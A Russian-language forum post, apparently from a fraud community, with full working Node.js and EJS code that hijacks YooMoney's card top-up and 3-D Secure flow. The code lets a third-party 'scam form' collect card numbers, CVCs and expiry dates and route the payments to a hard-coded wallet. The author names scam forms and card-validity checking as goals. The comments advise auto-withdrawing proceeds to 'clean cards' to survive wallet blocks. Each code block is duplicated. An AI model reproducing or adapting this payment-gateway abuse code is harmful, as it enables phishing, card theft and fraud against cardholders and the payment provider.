[ПРЕДЫСТОРИЯ] Здравствуйте всем, несколько месяцев назад я написал статью о реверс инжиниринге и получил много хейта за простоту темы. Сегодня я бы хотел разобрать веб реверсинг в более удобном для нас ключе, мы попробуем разобрать 3Ds ЮMoney и перевести их шлюз на нашу форму оплаты. [ЦЕЛИ] Зачем нам это может понадобиться? Получив доступ к 3Ds шлюзу банка мы можем создавать инвойсы вне их сайта, к примеру на скам форме с автоматической проверкой валидности карты и многое другое, в общем моё дело дать удочку - придумать зачем вы и сами сможете. Я НЕ ПРИЗЫВАЮ ИСПОЛЬЗОВАТЬ ДАННУЮ СТАТЬЮ В ПЛОХИХ ЦЕЛЯХ, ДАННАЯ СТАТЬЯ ЛИШЬ ДЕМОНСТРАЦИЯ МЕХАНИЗМА В УЧЕБНЫХ ЦЕЛЯХ [ПРАКТИКА] В прошлой теме было слишком много воды, в этот раз будет больше конкретики, без объяснения мелочей по типу как отслеживать запросы сайта. Я нашёл форму << ПОПОЛНЕНИЯ YooMoney >> по карте (оплатой через 3Ds), она же используется для формы << СБОРА ПОЖЕРТВОВАНИЙ >>, вполне нормальный вариант. Отследив запросы мы выявили 3 ключевых запроса для создания инвойса. Получение синонима карты и проверка на валидность https://paymentcard.yoomoney.ru/webservice/storecard/api/storeCardForPayment Создание инвойса https://yoomoney.ru/transfer/ajax/transfers/getTransferContract Получение данных для 3Ds https://yoomoney.ru/transfer/ajax/transfers/anyCardToWallet Данные API Endpoint'ы нам и нужны, но в процессе обнаруживаем что все запросы подписываются CSRF токеном, вопрос - откуда мы его получим? Проверив чуть JS код запросов мы обнаруживаем что на самой странице оплаты он есть в HTML, пишем небольшую функцию: // Endpoint для получения secretKey app.post('/api/v1/getSecretKey', async (req, res) => { const sum = req.body.sum; // Получаем сумму из тела POST-запроса const url = `https://yoomoney.ru/quickpay/confirm.xml?receiver=4100116048803188&quickpay-form=shop&targets=Sponsor%20this%20project&paymentType=SB&sum=${sum}`; try { const response = await axios.get(url); const htmlContent = response.data; // Загружаем HTML-контент в cheerio const $ = cheerio.load(htmlContent); // Ищем скрипт, содержащий window.__layoutData__ let secretKey = null; $('script').each(function () { const scriptContent = $(this).html(); const match = scriptContent.match(/window\.__layoutData__\s*=\s*({.*?});/); if (match) { try { const layoutData = JSON.parse(match[1]); if (layoutData.secretKey) { secretKey = layoutData.secretKey; return false; // Выходим из цикла each } } catch (error) { console.error('Error parsing JSON:', error); } } }); if (secretKey) { res.json({ "success": "True", "secretKey": secretKey }); } else { const error = "Secret Key not found in HTML response."; res.status(500).json({ "success": "False", "systemMessage": error }); } } catch (error) { console.error('Error fetching page:', error.message); res.status(500).json({ error: 'Failed to retrieve the page' }); } }); JS // Endpoint для получения secretKey app.post('/api/v1/getSecretKey', async (req, res) => { const sum = req.body.sum; // Получаем сумму из тела POST-запроса const url = `https://yoomoney.ru/quickpay/confirm.xml?receiver=4100116048803188&quickpay-form=shop&targets=Sponsor%20this%20project&paymentType=SB&sum=${sum}`; try { const response = await axios.get(url); const htmlContent = response.data; // Загружаем HTML-контент в cheerio const $ = cheerio.load(htmlContent); // Ищем скрипт, содержащий window.__layoutData__ let secretKey = null; $('script').each(function () { const scriptContent = $(this).html(); const match = scriptContent.match(/window\.__layoutData__\s*=\s*({.*?});/); if (match) { try { const layoutData = JSON.parse(match[1]); if (layoutData.secretKey) { secretKey = layoutData.secretKey; return false; // Выходим из цикла each } } catch (error) { console.error('Error parsing JSON:', error); } } }); if (secretKey) { res.json({ "success": "True", "secretKey": secretKey }); } else { const error = "Secret Key not found in HTML response."; res.status(500).json({ "success": "False", "systemMessage": error }); } } catch (error) { console.error('Error fetching page:', error.message); res.status(500).json({ error: 'Failed to retrieve the page' }); } }); Данная функция достаёт CSRF токен из HTML. Осталось только подключить остальные запросы под нас. Получение синонима // Endpoint для отправки данных на указанный URL app.post('/api/v1/getSynonym', async (req, res) => { const url = "https://paymentcard.yoomoney.ru/webservice/storecard/api/storeCardForPayment"; const data = req.body; // Получаем данные из тела POST-запроса try { const response = await axios.post(url, data); res.json(response.data); } catch (error) { console.error('Error sending data to YooMoney:', error.message); res.status(500).json({ error: 'Failed to send data to YooMoney' }); } }); JS // Endpoint для отправки данных на указанный URL app.post('/api/v1/getSynonym', async (req, res) => { const url = "https://paymentcard.yoomoney.ru/webservice/storecard/api/storeCardForPayment"; const data = req.body; // Получаем данные из тела POST-запроса try { const response = await axios.post(url, data); res.json(response.data); } catch (error) { console.error('Error sending data to YooMoney:', error.message); res.status(500).json({ error: 'Failed to send data to YooMoney' }); } }); Данная функция отправит данные карты на сервер YooMoney, вернёт её синоним для создания инвойса. В следующей функции указывается номер ЮMoney кошелька получателя! Создание инвойса // Endpoint для принятия POST-запроса app.post('/api/v1/transfer', async (req, res) => { const url = "https://yoomoney.ru/transfer/ajax/transfers/getTransferContract"; const { paymentCardSynonym, sum, 'x-csrf-token': csrfToken } = req.body; const headers = { "Content-Type": "application/json", "Accept": "application/json, text/plain, */*", "X-Csrf-Token": csrfToken, // Здесь можно добавить другие необходимые заголовки }; const data = { withCredentials: true, params: { origin: "form", sender: { paymentCardSynonym: paymentCardSynonym }, sum: { value: sum.value, alphabeticCurrency: "RUB" }, parameters: { "shop-host": "" }, schemeTypes: ["anyCardToWallet"], persistType: "default", recipient: { account: "4100116048803188" }, cardBind: false, signedForm: { params: {} }, formTexts: { formComment: "Перевод по кнопке", targets: "Перевод по кнопке" }, formSenderInfo: {}, tmxSessionId: "41ab80c7-8400-53a0-8996-b28ef27678a5" } }; try { const response = await axios.post(url, data, { headers }); res.json(response.data); } catch (error) { console.error('Error sending data to YooMoney:', error.message); res.status(500).json({ error: 'Failed to send data to YooMoney' }); } }); JS // Endpoint для принятия POST-запроса app.post('/api/v1/transfer', async (req, res) => { const url = "https://yoomoney.ru/transfer/ajax/transfers/getTransferContract"; const { paymentCardSynonym, sum, 'x-csrf-token': csrfToken } = req.body; const headers = { "Content-Type": "application/json", "Accept": "application/json, text/plain, */*", "X-Csrf-Token": csrfToken, // Здесь можно добавить другие необходимые заголовки }; const data = { withCredentials: true, params: { origin: "form", sender: { paymentCardSynonym: paymentCardSynonym }, sum: { value: sum.value, alphabeticCurrency: "RUB" }, parameters: { "shop-host": "" }, schemeTypes: ["anyCardToWallet"], persistType: "default", recipient: { account: "4100116048803188" }, cardBind: false, signedForm: { params: {} }, formTexts: { formComment: "Перевод по кнопке", targets: "Перевод по кнопке" }, formSenderInfo: {}, tmxSessionId: "41ab80c7-8400-53a0-8996-b28ef27678a5" } }; try { const response = await axios.post(url, data, { headers }); res.json(response.data); } catch (error) { console.error('Error sending data to YooMoney:', error.message); res.status(500).json({ error: 'Failed to send data to YooMoney' }); } }); Данный endpoint получит сумму, синоним карты - создаст инвойс. Получение 3Ds формы // Endpoint для принятия POST-запроса app.post('/api/v1/processPayment', async (req, res) => { const url = "https://yoomoney.ru/transfer/ajax/transfers/anyCardToWallet"; const { xCsrfToken, orderId } = req.body; const headers = { "Accept": "application/json, text/plain, */*", "Accept-Encoding": "gzip, deflate, br, zstd", "Accept-Language": "ru,en;q=0.9,en-GB;q=0.8,en-US;q=0.7", "Content-Type": "application/json", "Origin": "https://yoomoney.ru", "Referer": `https://yoomoney.ru/transfer/process/confirm?orderId=${orderId}`, "Sec-Ch-Ua": '"Not/A)Brand";v="8", "Chromium";v="126", "Microsoft Edge";v="126"', "Sec-Ch-Ua-Mobile": "?0", "Sec-Ch-Ua-Platform": '"Windows"', "Sec-Fetch-Dest": "empty", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Site": "same-origin", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0", "X-Csrf-Token": xCsrfToken }; const data = { withCredentials: true, params: { orderId: orderId, extAuthSuccessUri: `ЗАМЕНИТЬ НА SUCCESS URL ИЛИ ПОСТАВИТЬ ОТ YOOMONEY ОРИГИНАЛ`, extAuthFailUri: `ЗАМЕНИТЬ НА FAIL URL ИЛИ ПОСТАВИТЬ ОТ YOOMONEY ОРИГИНАЛ` } }; try { const response = await axios.post(url, data, { headers }); res.json(response.data); } catch (error) { console.error('Error sending data to YooMoney:', error.message); res.status(500).json({ error: 'Failed to send data to YooMoney' }); } }); JS // Endpoint для принятия POST-запроса app.post('/api/v1/processPayment', async (req, res) => { const url = "https://yoomoney.ru/transfer/ajax/transfers/anyCardToWallet"; const { xCsrfToken, orderId } = req.body; const headers = { "Accept": "application/json, text/plain, */*", "Accept-Encoding": "gzip, deflate, br, zstd", "Accept-Language": "ru,en;q=0.9,en-GB;q=0.8,en-US;q=0.7", "Content-Type": "application/json", "Origin": "https://yoomoney.ru", "Referer": `https://yoomoney.ru/transfer/process/confirm?orderId=${orderId}`, "Sec-Ch-Ua": '"Not/A)Brand";v="8", "Chromium";v="126", "Microsoft Edge";v="126"', "Sec-Ch-Ua-Mobile": "?0", "Sec-Ch-Ua-Platform": '"Windows"', "Sec-Fetch-Dest": "empty", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Site": "same-origin", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0", "X-Csrf-Token": xCsrfToken }; const data = { withCredentials: true, params: { orderId: orderId, extAuthSuccessUri: `ЗАМЕНИТЬ НА SUCCESS URL ИЛИ ПОСТАВИТЬ ОТ YOOMONEY ОРИГИНАЛ`, extAuthFailUri: `ЗАМЕНИТЬ НА FAIL URL ИЛИ ПОСТАВИТЬ ОТ YOOMONEY ОРИГИНАЛ` } }; try { const response = await axios.post(url, data, { headers }); res.json(response.data); } catch (error) { console.error('Error sending data to YooMoney:', error.message); res.status(500).json({ error: 'Failed to send data to YooMoney' }); } }); Данный запрос вернёт нам данные для 3Ds формы Как мы видим в коде отсутствуют сами данные для запроса, это просто ендпоинты которые передают данные на YooMoney, для этого мы напишем пост обработчик который получит данные с вашей формы оплаты и свяжется с нашим API. HTML + JS (POST ОБРАБОТЧИК НА EJS) <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Подключение к банку</title> <style> body { color: #fff; text-align: center; background-color: #a3bfec; font-family: Arial, sans-serif; display: flex; flex-direction: column; align-items: center; justify-content: center; height: 100vh; margin: 0; } h1, p { margin: 0; } img { max-width: 100%; height: auto; } </style> </head> <body> <h1>Подключение к банку.</h1> <p>Это займёт пару секунд.</p> <img src="https://cdn.dribbble.com/users/5233537/screenshots/14285996/media/421d035bbb3cbbc03407584de500e08f.gif"> <script src="https://cdn.jsdelivr.net/npm/js-md5@0.7.3/build/md5.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/axios/dist/axios.min.js"></script> <form id="paymentForm" action="" method="POST"> <input type="hidden" name="PaReq" value=""> <input type="hidden" name="MD" value=""> <input type="hidden" name="TermUrl" value=""> </form> <script> async function getSecretKey() { const sum = <%= amount %>; // Пример суммы для запроса (можно динамически указывать) const url = '/api/v1/getSecretKey'; // URL вашего сервера try { const response = await fetch(url, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ sum }) }); if (!response.ok) { throw new Error('Failed to fetch secret key'); } const responseData = await response.json(); if (responseData.success === "True") { const secretKey = responseData.secretKey; // Данные для отправки const paymentData = { "csc": "<%= *** %>", "pan": "<%= card %>", "expireDate": "20<%= date %>" }; // URL для отправки POST-запроса const paymentUrl = '/api/v1/getSynonym'; // Функция для отправки POST-запроса async function sendPaymentData() { try { const paymentResponse = await fetch(paymentUrl, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(paymentData) }); if (!paymentResponse.ok) { throw new Error('Failed to send data to YooMoney'); } const jsonResponse = await paymentResponse.json(); const createUrl = '/api/v1/transfer' const createData = { "paymentCardSynonym": jsonResponse.result.cardSynonym, "sum": { "value": <%= amount %>, "alphabeticCurrency": "RUB" }, "x-csrf-token": secretKey } // Отправляем запрос на создание платежа await createPayment(createUrl, createData); } catch (error) { console.error('Error sending data to YooMoney:', error.message); } } async function getPayment(url, data) { try { const response = await fetch(url, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(data) }); if (!response.ok) { throw new Error('Failed to create payment'); } const responseData = await response.json(); // Получаем форму по её id console.log(responseData); const form = document.getElementById('paymentForm'); async function fillAndSubmitForm(responseData) { try { // Проверяем, есть ли данные для нового формата ответа if (responseData.result.status === "awaitingpayerauthentication" && responseData.result.subStatus === "Wait3dsAuthentication" && responseData.result.acsData && responseData.result.acsData.fingerprint) { // Новый формат ответа console.log('Detected new response format. Using new form.'); // Создаем форму const form = document.createElement('form'); form.method = 'POST'; form.action = 'https://3ds-gate.yoomoney.ru/card-auth'; // URL для отправки формы form.style.display = 'none'; // Скрываем форму // Добавляем поля к форме // Поле methodData const methodDataInput = document.createElement('input'); methodDataInput.type = 'hidden'; methodDataInput.name = 'methodData'; methodDataInput.value = responseData.result.acsData.fingerprint.threeDsMethodData; form.appendChild(methodDataInput); // Поле methodUrl const methodUrlInput = document.createElement('input'); methodUrlInput.type = 'hidden'; methodUrlInput.name = 'methodUrl'; methodUrlInput.value = encodeURIComponent(responseData.result.acsData.fingerprint.threeDsMethodUrl); form.appendChild(methodUrlInput); // Поле orderN const orderNInput = document.createElement('input'); orderNInput.type = 'hidden'; orderNInput.name = 'orderN'; orderNInput.value = responseData.result.acsData.fingerprint.orderN; form.appendChild(orderNInput); // Добавляем форму на страницу document.body.appendChild(form); // Отправляем форму form.submit(); } // Если старый формат ответа else if (responseData.result.acsData && responseData.result.acsData.challenge) { console.log('Detected old response format. Using old form.'); // Старый формат ответа - используем существующую форму const form = document.querySelector('#existingForm'); // Ищем старую форму на странице // Заполняем скрытые поля формы form.querySelector('input[name="PaReq"]').value = responseData.result.acsData.challenge.parameters.PaReq; form.querySelector('input[name="MD"]').value = responseData.result.acsData.challenge.parameters.MD; form.querySelector('input[name="TermUrl"]').value = responseData.result.acsData.challenge.parameters.TermUrl; // Устанавливаем атрибут action формы form.action = responseData.result.acsData.challenge.url; // URL для отправки формы // Отправляем форму form.submit(); } else { console.log('Payment is still processing or format not recognized.'); } } catch (error) { console.error('Error filling and submitting form:', error.message); } } fillAndSubmitForm(responseData); } catch (error) { console.error('Error creating payment:', error.message); } } // Функция для создания платежа async function createPayment(url, data) { try { const response = await fetch(url, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(data) }); if (!response.ok) { throw new Error('Failed to create payment'); } const responseData = await response.json(); const urlProcess = "/api/v1/processPayment" const dataProcess = { "xCsrfToken": secretKey, "orderId": responseData.result.orderId } getPayment(urlProcess, dataProcess) // Ждем 2 секунды перед повторным вызовом функции await new Promise(resolve => setTimeout(resolve, 2000)); // Вызываем функцию снова await getPayment(urlProcess, dataProcess); } catch (error) { console.error('Error creating payment:', error.message); } } // Вызываем функцию для отправки данных await sendPaymentData(); } else { console.error('Error:', responseData.systemMessage); } } catch (error) { console.error('Error fetching secret key:', error.message); } } // Вызываем функцию getSecretKey при загрузке страницы window.onload = function () { getSecretKey(); }; </script> </body> </html> HTML <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Подключение к банку</title> <style> body { color: #fff; text-align: center; background-color: #a3bfec; font-family: Arial, sans-serif; display: flex; flex-direction: column; align-items: center; justify-content: center; height: 100vh; margin: 0; } h1, p { margin: 0; } img { max-width: 100%; height: auto; } </style> </head> <body> <h1>Подключение к банку.</h1> <p>Это займёт пару секунд.</p> <img src="https://cdn.dribbble.com/users/5233537/screenshots/14285996/media/421d035bbb3cbbc03407584de500e08f.gif"> <script src="https://cdn.jsdelivr.net/npm/js-md5@0.7.3/build/md5.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/axios/dist/axios.min.js"></script> <form id="paymentForm" action="" method="POST"> <input type="hidden" name="PaReq" value=""> <input type="hidden" name="MD" value=""> <input type="hidden" name="TermUrl" value=""> </form> <script> async function getSecretKey() { const sum = <%= amount %>; // Пример суммы для запроса (можно динамически указывать) const url = '/api/v1/getSecretKey'; // URL вашего сервера try { const response = await fetch(url, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ sum }) }); if (!response.ok) { throw new Error('Failed to fetch secret key'); } const responseData = await response.json(); if (responseData.success === "True") { const secretKey = responseData.secretKey; // Данные для отправки const paymentData = { "csc": "<%= *** %>", "pan": "<%= card %>", "expireDate": "20<%= date %>" }; // URL для отправки POST-запроса const paymentUrl = '/api/v1/getSynonym'; // Функция для отправки POST-запроса async function sendPaymentData() { try { const paymentResponse = await fetch(paymentUrl, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(paymentData) }); if (!paymentResponse.ok) { throw new Error('Failed to send data to YooMoney'); } const jsonResponse = await paymentResponse.json(); const createUrl = '/api/v1/transfer' const createData = { "paymentCardSynonym": jsonResponse.result.cardSynonym, "sum": { "value": <%= amount %>, "alphabeticCurrency": "RUB" }, "x-csrf-token": secretKey } // Отправляем запрос на создание платежа await createPayment(createUrl, createData); } catch (error) { console.error('Error sending data to YooMoney:', error.message); } } async function getPayment(url, data) { try { const response = await fetch(url, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(data) }); if (!response.ok) { throw new Error('Failed to create payment'); } const responseData = await response.json(); // Получаем форму по её id console.log(responseData); const form = document.getElementById('paymentForm'); async function fillAndSubmitForm(responseData) { try { // Проверяем, есть ли данные для нового формата ответа if (responseData.result.status === "awaitingpayerauthentication" && responseData.result.subStatus === "Wait3dsAuthentication" && responseData.result.acsData && responseData.result.acsData.fingerprint) { // Новый формат ответа console.log('Detected new response format. Using new form.'); // Создаем форму const form = document.createElement('form'); form.method = 'POST'; form.action = 'https://3ds-gate.yoomoney.ru/card-auth'; // URL для отправки формы form.style.display = 'none'; // Скрываем форму // Добавляем поля к форме // Поле methodData const methodDataInput = document.createElement('input'); methodDataInput.type = 'hidden'; methodDataInput.name = 'methodData'; methodDataInput.value = responseData.result.acsData.fingerprint.threeDsMethodData; form.appendChild(methodDataInput); // Поле methodUrl const methodUrlInput = document.createElement('input'); methodUrlInput.type = 'hidden'; methodUrlInput.name = 'methodUrl'; methodUrlInput.value = encodeURIComponent(responseData.result.acsData.fingerprint.threeDsMethodUrl); form.appendChild(methodUrlInput); // Поле orderN const orderNInput = document.createElement('input'); orderNInput.type = 'hidden'; orderNInput.name = 'orderN'; orderNInput.value = responseData.result.acsData.fingerprint.orderN; form.appendChild(orderNInput); // Добавляем форму на страницу document.body.appendChild(form); // Отправляем форму form.submit(); } // Если старый формат ответа else if (responseData.result.acsData && responseData.result.acsData.challenge) { console.log('Detected old response format. Using old form.'); // Старый формат ответа - используем существующую форму const form = document.querySelector('#existingForm'); // Ищем старую форму на странице // Заполняем скрытые поля формы form.querySelector('input[name="PaReq"]').value = responseData.result.acsData.challenge.parameters.PaReq; form.querySelector('input[name="MD"]').value = responseData.result.acsData.challenge.parameters.MD; form.querySelector('input[name="TermUrl"]').value = responseData.result.acsData.challenge.parameters.TermUrl; // Устанавливаем атрибут action формы form.action = responseData.result.acsData.challenge.url; // URL для отправки формы // Отправляем форму form.submit(); } else { console.log('Payment is still processing or format not recognized.'); } } catch (error) { console.error('Error filling and submitting form:', error.message); } } fillAndSubmitForm(responseData); } catch (error) { console.error('Error creating payment:', error.message); } } // Функция для создания платежа async function createPayment(url, data) { try { const response = await fetch(url, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(data) }); if (!response.ok) { throw new Error('Failed to create payment'); } const responseData = await response.json(); const urlProcess = "/api/v1/processPayment" const dataProcess = { "xCsrfToken": secretKey, "orderId": responseData.result.orderId } getPayment(urlProcess, dataProcess) // Ждем 2 секунды перед повторным вызовом функции await new Promise(resolve => setTimeout(resolve, 2000)); // Вызываем функцию снова await getPayment(urlProcess, dataProcess); } catch (error) { console.error('Error creating payment:', error.message); } } // Вызываем функцию для отправки данных await sendPaymentData(); } else { console.error('Error:', responseData.systemMessage); } } catch (error) { console.error('Error fetching secret key:', error.message); } } // Вызываем функцию getSecretKey при загрузке страницы window.onload = function () { getSecretKey(); }; </script> </body> </html> Это всё пример того как может выглядеть реверс ЮMoney, полный код можете посмотреть у меня на GitHub: https://github.com/looneysky/YooGate Код - это всего лишь демонстрация возможностей, настоящие программисты думаю разберутся как с этим работать.
Видел такое, но все ровно годно. Сделай подобную статью с зарубежными платежными шлюзами ps те кто собираются использовать юмани часто блокируют кошельки, гемор выводить бабки
webad11, я видел у других ботов так сделано, но когда 1 раз блокнули юмани и не смог вывести бабки, решил не пробовать добавлять в бота
InfernLife, в идеале надо автовывод на чистые карты настроить, тогда всё гуд, если и блокнут - не многое теряешь, код это всего лишь база на которой можно построить норм эквайринг.
Заметил как-то мало актива, если у кого-то есть вопросы - задавайте ответом на этот комментарий, всем отвечу.
ты и не найдёшь много актива. Это тема узкоспециальная, а значит основной массе юзеров бесполезна Да и больше напоминает на гайды для ворка по ру.
Бро,это имба продолжай в том же духе я и прошлую статью с Ии прочитал видимо челы слишком идиоты раз не видят такое,жду статей с веб реверсом.